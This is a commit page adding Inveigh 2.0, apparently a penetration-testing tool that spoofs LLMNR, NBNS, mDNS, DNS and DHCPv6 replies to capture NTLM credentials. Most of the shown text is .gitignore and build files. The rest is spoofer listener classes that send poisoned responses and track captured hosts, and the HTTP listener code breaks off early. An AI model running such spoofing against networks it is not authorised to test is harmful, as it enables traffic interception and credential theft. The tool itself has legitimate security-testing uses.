aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorKevin Robertson <Kevin-Robertson@users.noreply.github.com>2021-06-15 11:04:15 -0400
committerKevin Robertson <Kevin-Robertson@users.noreply.github.com>2021-06-15 11:04:15 -0400
commit4cbf2642b024daaa5e771c7c0593bb8819f5fe93 (patch)
tree4bfc9d2fd71e111763fa5988e8bd264b67958bf4
parent670edaef3054e1b3216ff7c8942a04195e3055b8 (diff)
downloadInveigh-4cbf2642b024daaa5e771c7c0593bb8819f5fe93.tar.gz
Inveigh-4cbf2642b024daaa5e771c7c0593bb8819f5fe93.zip
Inveigh 2.02.0
Rebuilt Cross-platform (Windows, Linux, macOS) New listeners (SMB, LDAP, WebDAV, HTTPS) Improved interactive console (tab complete, real time stats)
-rw-r--r--.gitattributes15
-rw-r--r--.gitignore353
-rw-r--r--Inveigh.sln25
-rw-r--r--Inveigh/Inveigh.csproj56
-rw-r--r--Inveigh/Listeners/DHCPv6Listener.cs69
-rw-r--r--Inveigh/Listeners/DNSListener.cs67
-rw-r--r--Inveigh/Listeners/HTTPListener.cs458
-rw-r--r--Inveigh/Listeners/LDAPListener.cs162
-rw-r--r--Inveigh/Listeners/LLMNRListener.cs59
-rw-r--r--Inveigh/Listeners/MDNSListener.cs66
-rw-r--r--Inveigh/Listeners/NBNSListener.cs60
-rw-r--r--Inveigh/Listeners/SMBListener.cs264
-rw-r--r--Inveigh/Program.cs640
-rw-r--r--Inveigh/Protocols/LICENSE29
-rw-r--r--Inveigh/Protocols/Quiddity/Listeners/DHCPv6Listener.cs177
-rw-r--r--Inveigh/Protocols/Quiddity/Listeners/DNSListener.cs151
-rw-r--r--Inveigh/Protocols/Quiddity/Listeners/LLMNRListener.cs101
-rw-r--r--Inveigh/Protocols/Quiddity/Listeners/MDNSListener.cs117
-rw-r--r--Inveigh/Protocols/Quiddity/Listeners/NetBIOSNSListener.cs95
-rw-r--r--Inveigh/Protocols/Quiddity/Listeners/TCPListener.cs48
-rw-r--r--Inveigh/Protocols/Quiddity/Listeners/UDPListener.cs58
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs15
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs150
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs86
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs222
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs88
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs86
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs90
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs95
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs97
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs95
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs107
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs128
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs77
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs87
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs88
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs72
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs57
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/DNSChecker.cs329
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/DNSHeader.cs169
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/DNSPacket.cs185
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/DNSQuestion.cs193
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/DNSResource.cs122
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs33
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs34
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs85
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs42
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs49
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPRequest.cs159
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPResponse.cs166
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs107
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs43
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs73
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/IP/IPHeader.cs81
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/LDAPMessage.cs182
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs23
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs18
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs13
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs46
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs22
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs25
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPResult.cs46
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs52
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs55
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs56
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRChecker.cs41
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRHeader.cs130
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRPacket.cs98
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs53
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRResource.cs74
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSChecker.cs84
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSHeader.cs124
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSPacket.cs99
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSQuestion.cs63
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSResource.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMChallenge.cs275
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMHelper.cs94
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMNegotiate.cs120
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMResponse.cs220
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs128
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs76
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs135
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs93
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs162
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs68
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs82
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/PacketReader.cs74
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/PacketWriter.cs76
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs92
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs91
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHeader.cs93
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHelper.cs70
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs47
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs54
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs120
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs48
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs47
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs164
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs118
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs70
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs47
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs54
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs42
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs89
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs114
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs50
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs88
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs68
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs49
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Header.cs133
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Helper.cs124
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Packet.cs42
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs108
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs64
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs55
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/TCP/TCPHeader.cs124
-rw-r--r--Inveigh/Protocols/Quiddity/Protocols/UDP/UDPHeader.cs130
-rw-r--r--Inveigh/Protocols/Quiddity/Support/ASN1.cs284
-rw-r--r--Inveigh/Protocols/Quiddity/Support/Utilities.cs126
-rw-r--r--Inveigh/Protocols/README.md17
-rw-r--r--Inveigh/Sniffer/Sniffer.cs689
-rw-r--r--Inveigh/Sockets/ICMPv6Socket.cs135
-rw-r--r--Inveigh/Sockets/UDPSocket.cs78
-rw-r--r--Inveigh/Support/Arguments.cs508
-rw-r--r--Inveigh/Support/Control.cs480
-rw-r--r--Inveigh/Support/Output.cs1488
-rw-r--r--Inveigh/Support/Shell.cs749
-rw-r--r--LICENSE (renamed from LICENSE.md)10
-rw-r--r--README.md456
139 files changed, 17282 insertions, 85 deletions
diff --git a/.gitattributes b/.gitattributes
index bdb0cab..dfe0770 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -1,17 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
-
-# Custom for Visual Studio
-*.cs diff=csharp
-
-# Standard to msysgit
-*.doc diff=astextplain
-*.DOC diff=astextplain
-*.docx diff=astextplain
-*.DOCX diff=astextplain
-*.dot diff=astextplain
-*.DOT diff=astextplain
-*.pdf diff=astextplain
-*.PDF diff=astextplain
-*.rtf diff=astextplain
-*.RTF diff=astextplain
diff --git a/.gitignore b/.gitignore
index 96374c4..3e759b7 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,43 +1,330 @@
-# Windows image file caches
-Thumbs.db
-ehthumbs.db
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+##
+## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
-# Folder config file
-Desktop.ini
+# User-specific files
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
-# Recycle Bin used on file shares
-$RECYCLE.BIN/
+# User-specific files (MonoDevelop/Xamarin Studio)
+*.userprefs
-# Windows Installer files
-*.cab
-*.msi
-*.msm
-*.msp
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+x64/
+x86/
+bld/
+[Bb]in/
+[Oo]bj/
+[Ll]og/
-# Windows shortcuts
-*.lnk
+# Visual Studio 2015/2017 cache/options directory
+.vs/
+# Uncomment if you have tasks that create the project's static files in wwwroot
+#wwwroot/
-# =========================
-# Operating System Files
-# =========================
+# Visual Studio 2017 auto generated files
+Generated\ Files/
-# OSX
-# =========================
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
-.DS_Store
-.AppleDouble
-.LSOverride
+# NUNIT
+*.VisualState.xml
+TestResult.xml
-# Thumbnails
-._*
+# Build Results of an ATL Project
+[Dd]ebugPS/
+[Rr]eleasePS/
+dlldata.c
-# Files that might appear on external disk
-.Spotlight-V100
-.Trashes
+# Benchmark Results
+BenchmarkDotNet.Artifacts/
-# Directories potentially created on remote AFP share
-.AppleDB
-.AppleDesktop
-Network Trash Folder
-Temporary Items
-.apdisk
+# .NET Core
+project.lock.json
+project.fragment.lock.json
+artifacts/
+**/Properties/launchSettings.json
+
+# StyleCop
+StyleCopReport.xml
+
+# Files built by Visual Studio
+*_i.c
+*_p.c
+*_i.h
+*.ilk
+*.meta
+*.obj
+*.iobj
+*.pch
+*.pdb
+*.ipdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.svclog
+*.scc
+
+# Chutzpah Test files
+_Chutzpah*
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opendb
+*.opensdf
+*.sdf
+*.cachefile
+*.VC.db
+*.VC.VC.opendb
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+*.sap
+
+# Visual Studio Trace Files
+*.e2e
+
+# TFS 2012 Local Workspace
+$tf/
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+*.DotSettings.user
+
+# JustCode is a .NET coding add-in
+.JustCode
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# AxoCover is a Code Coverage Tool
+.axoCover/*
+!.axoCover/settings.json
+
+# Visual Studio code coverage results
+*.coverage
+*.coveragexml
+
+# NCrunch
+_NCrunch_*
+.*crunch*.local.xml
+nCrunchTemp_*
+
+# MightyMoose
+*.mm.*
+AutoTest.Net/
+
+# Web workbench (sass)
+.sass-cache/
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.[Pp]ublish.xml
+*.azurePubxml
+# Note: Comment the next line if you want to checkin your web deploy settings,
+# but database connection strings (with potential passwords) will be unencrypted
+*.pubxml
+*.publishproj
+
+# Microsoft Azure Web App publish settings. Comment the next line if you want to
+# checkin your Azure Web App publish settings, but sensitive information contained
+# in these scripts will be unencrypted
+PublishScripts/
+
+# NuGet Packages
+*.nupkg
+# The packages folder can be ignored because of Package Restore
+**/[Pp]ackages/*
+# except build/, which is used as an MSBuild target.
+!**/[Pp]ackages/build/
+# Uncomment if necessary however generally it will be regenerated when needed
+#!**/[Pp]ackages/repositories.config
+# NuGet v3's project.json files produces more ignorable files
+*.nuget.props
+*.nuget.targets
+
+# Microsoft Azure Build Output
+csx/
+*.build.csdef
+
+# Microsoft Azure Emulator
+ecf/
+rcf/
+
+# Windows Store app package directories and files
+AppPackages/
+BundleArtifacts/
+Package.StoreAssociation.xml
+_pkginfo.txt
+*.appx
+
+# Visual Studio cache files
+# files ending in .cache can be ignored
+*.[Cc]ache
+# but keep track of directories ending in .cache
+!*.[Cc]ache/
+
+# Others
+ClientBin/
+~$*
+*~
+*.dbmdl
+*.dbproj.schemaview
+*.jfm
+*.pfx
+*.publishsettings
+orleans.codegen.cs
+
+# Including strong name files can present a security risk
+# (https://github.com/github/gitignore/pull/2483#issue-259490424)
+#*.snk
+
+# Since there are multiple workflows, uncomment next line to ignore bower_components
+# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
+#bower_components/
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file
+# to a newer Visual Studio version. Backup files are not needed,
+# because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+ServiceFabricBackup/
+*.rptproj.bak
+
+# SQL Server files
+*.mdf
+*.ldf
+*.ndf
+
+# Business Intelligence projects
+*.rdl.data
+*.bim.layout
+*.bim_*.settings
+*.rptproj.rsuser
+
+# Microsoft Fakes
+FakesAssemblies/
+
+# GhostDoc plugin setting file
+*.GhostDoc.xml
+
+# Node.js Tools for Visual Studio
+.ntvs_analysis.dat
+node_modules/
+
+# Visual Studio 6 build log
+*.plg
+
+# Visual Studio 6 workspace options file
+*.opt
+
+# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
+*.vbw
+
+# Visual Studio LightSwitch build output
+**/*.HTMLClient/GeneratedArtifacts
+**/*.DesktopClient/GeneratedArtifacts
+**/*.DesktopClient/ModelManifest.xml
+**/*.Server/GeneratedArtifacts
+**/*.Server/ModelManifest.xml
+_Pvt_Extensions
+
+# Paket dependency manager
+.paket/paket.exe
+paket-files/
+
+# FAKE - F# Make
+.fake/
+
+# JetBrains Rider
+.idea/
+*.sln.iml
+
+# CodeRush
+.cr/
+
+# Python Tools for Visual Studio (PTVS)
+__pycache__/
+*.pyc
+
+# Cake - Uncomment if you are using it
+# tools/**
+# !tools/packages.config
+
+# Tabs Studio
+*.tss
+
+# Telerik's JustMock configuration file
+*.jmconfig
+
+# BizTalk build output
+*.btp.cs
+*.btm.cs
+*.odx.cs
+*.xsd.cs
+
+# OpenCover UI analysis results
+OpenCover/
+
+# Azure Stream Analytics local run output
+ASALocalRun/
+
+# MSBuild Binary and Structured Log
+*.binlog
+
+# NVidia Nsight GPU debugger configuration file
+*.nvuser
+
+# MFractors (Xamarin productivity tool) working folder
+.mfractor/
diff --git a/Inveigh.sln b/Inveigh.sln
new file mode 100644
index 0000000..13d1195
--- /dev/null
+++ b/Inveigh.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.30804.86
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Inveigh", "Inveigh\Inveigh.csproj", "{84A26089-F5CA-41D1-B92A-B60994A5C714}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {CC6C55F7-3612-49FC-B6F8-B8BF7AB9866E}
+ EndGlobalSection
+EndGlobal
diff --git a/Inveigh/Inveigh.csproj b/Inveigh/Inveigh.csproj
new file mode 100644
index 0000000..4eb34a6
--- /dev/null
+++ b/Inveigh/Inveigh.csproj
@@ -0,0 +1,56 @@
+<Project Sdk="Microsoft.NET.Sdk">
+
+ <PropertyGroup>
+ <OutputType>Exe</OutputType>
+ <TargetFrameworks>net35;net45;net5.0</TargetFrameworks>
+ </PropertyGroup>
+
+
+
+
+ <PropertyGroup>
+ <!-- https://github.com/dotnet/msbuild/issues/1333#issuecomment-296346352 -->
+ <FrameworkPathOverride Condition="'$(TargetFramework)' == 'net35'">$(MSBuildProgramFiles32)\Reference Assemblies\Microsoft\Framework\.NETFramework\v3.5\Profile\Client</FrameworkPathOverride>
+ <AutomaticallyUseReferenceAssemblyPackages Condition=" '$(TargetFramework)' == 'net35' ">false</AutomaticallyUseReferenceAssemblyPackages>
+ <AssemblyName>Inveigh</AssemblyName>
+ <Version>2.0.0</Version>
+ </PropertyGroup>
+
+
+ <PropertyGroup Condition="'$(Configuration)|$(TargetFrameworks)|$(Platform)'=='Debug|net35|AnyCPU'">
+ <DebugType>pdbonly</DebugType>
+ <DebugSymbols>true</DebugSymbols>
+ </PropertyGroup>
+
+
+ <PropertyGroup Condition="'$(Configuration)|$(TargetFramework)|$(Platform)'=='Debug|net35|AnyCPU'">
+ <DebugType>pdbonly</DebugType>
+ <DebugSymbols>true</DebugSymbols>
+ </PropertyGroup>
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net35'">
+ <Reference Include="System.DirectoryServices.Protocols">
+ <HintPath>$(WINDIR)\Microsoft.NET\Framework64\v2.0.50727\System.DirectoryServices.Protocols.dll</HintPath>
+ <private>False</private>
+ </Reference>
+ </ItemGroup>
+
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net45'">
+ <PackageReference Include="System.DirectoryServices.Protocols">
+ <Version>5.0</Version>
+ </PackageReference>
+ </ItemGroup>
+
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net5.0'">
+ <PackageReference Include="System.DirectoryServices.Protocols">
+ <Version>5.0</Version>
+ </PackageReference>
+ </ItemGroup>
+
+ <PropertyGroup Condition="'$(TargetFramework)' == 'net5.0'">
+ <DefineConstants>ISNET5_0</DefineConstants>
+ </PropertyGroup>
+
+</Project>
diff --git a/Inveigh/Listeners/DHCPv6Listener.cs b/Inveigh/Listeners/DHCPv6Listener.cs
new file mode 100644
index 0000000..e65198c
--- /dev/null
+++ b/Inveigh/Listeners/DHCPv6Listener.cs
@@ -0,0 +1,69 @@
+using Quiddity.DHCPv6;
+using System;
+
+namespace Inveigh
+{
+ class DHCPv6Listener : Quiddity.DHCPv6Listener
+ {
+ public DHCPv6Listener()
+ {
+ this.Index = 1;
+ this.DNSSuffix = "";
+ this.Lifetime = 300;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ public DHCPv6Listener(uint lifetime, string dnsSuffix)
+ {
+ this.Index = 1;
+ this.DNSSuffix = dnsSuffix;
+ this.Lifetime = lifetime;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ protected override void Output(int msgType, string leaseIP, string clientIP, string clientMAC, string clientHostname, string message)
+ {
+ Inveigh.Output.DHCPv6Output(msgType, leaseIP, clientIP, clientMAC, clientHostname, message);
+ }
+
+ protected override void OutputError(string message)
+ {
+ Inveigh.Output.Queue(message);
+ }
+
+ public override bool Check(string clientMAC, string clientHost, string listenerMAC, bool isMicrosoft, out string message)
+ {
+
+ DHCPv6Checker helper = new DHCPv6Checker
+ {
+ Enabled = Program.enabledDHCPv6,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ IgnoreMACs = Program.argIgnoreMACs,
+ Local = Program.enabledLocal,
+ ReplyToMACs = Program.argReplyToMACs,
+ HostCaptures = Program.HostCaptureList,
+ OutputReplyAllowed = "response sent",
+ OutputInspect = "inspect only",
+ OutputDisabled = "disabled",
+ OutputLocal = "local ignored",
+ OutputHostDenied = "host ignored",
+ OutputIPDenied = "IP ignored",
+ OutputMACDenied = "MAC ignored",
+ OutputVendorDenied = "vendor ignored",
+ OutputRepeat = "previous capture",
+ };
+
+ if (helper.Check(clientMAC, clientHost, listenerMAC, isMicrosoft))
+ {
+ message = helper.OutputMessage;
+ return true;
+ }
+
+ message = helper.OutputMessage;
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/DNSListener.cs b/Inveigh/Listeners/DNSListener.cs
new file mode 100644
index 0000000..d74b971
--- /dev/null
+++ b/Inveigh/Listeners/DNSListener.cs
@@ -0,0 +1,67 @@
+using Quiddity.DNS;
+using System;
+
+namespace Inveigh
+{
+ class DNSListener : Quiddity.DNSListener
+ {
+ internal DNSListener()
+ {
+ this.TTL = 30;
+ }
+
+ internal DNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ internal DNSListener(uint ttl, string host)
+ {
+ this.Serial = Program.dnsSerial;
+ this.TTL = ttl;
+ this.Host = host;
+ this.Priority = 0;
+ this.Weight = 100;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string type, string clientIP, out string message)
+ {
+
+ DNSChecker helper = new DNSChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IgnoreDomains = Program.argIgnoreDomains,
+ ReplyToDomains = Program.argReplyToDomains,
+ IPCaptures = Program.IPCaptureList,
+ Types = Program.argDNSTypes,
+ Services = Program.argDNSSRV,
+ Enabled = Program.enabledDNS,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (helper.Check(name, type, clientIP))
+ {
+ message = helper.OutputMessage;
+ return true;
+ }
+
+ message = helper.OutputMessage;
+ return false;
+ }
+
+ }
+}
diff --git a/Inveigh/Listeners/HTTPListener.cs b/Inveigh/Listeners/HTTPListener.cs
new file mode 100644
index 0000000..fe19e59
--- /dev/null
+++ b/Inveigh/Listeners/HTTPListener.cs
@@ -0,0 +1,458 @@
+using Quiddity;
+using Quiddity.HTTP;
+using Quiddity.NTLM;
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using System.Security.Cryptography.X509Certificates;
+using System.Security.Authentication;
+using System.Net.Security;
+using Quiddity.Support;
+
+namespace Inveigh
+{
+ class HTTPListener
+ {
+ public const SslProtocols tls12 = (SslProtocols)0x00000C00;
+
+ internal void Start(IPAddress ipAddress, int port, string type)
+ {
+ TCPListener tcpListener = new TCPListener(ipAddress, port);
+ IAsyncResult tcpAsync;
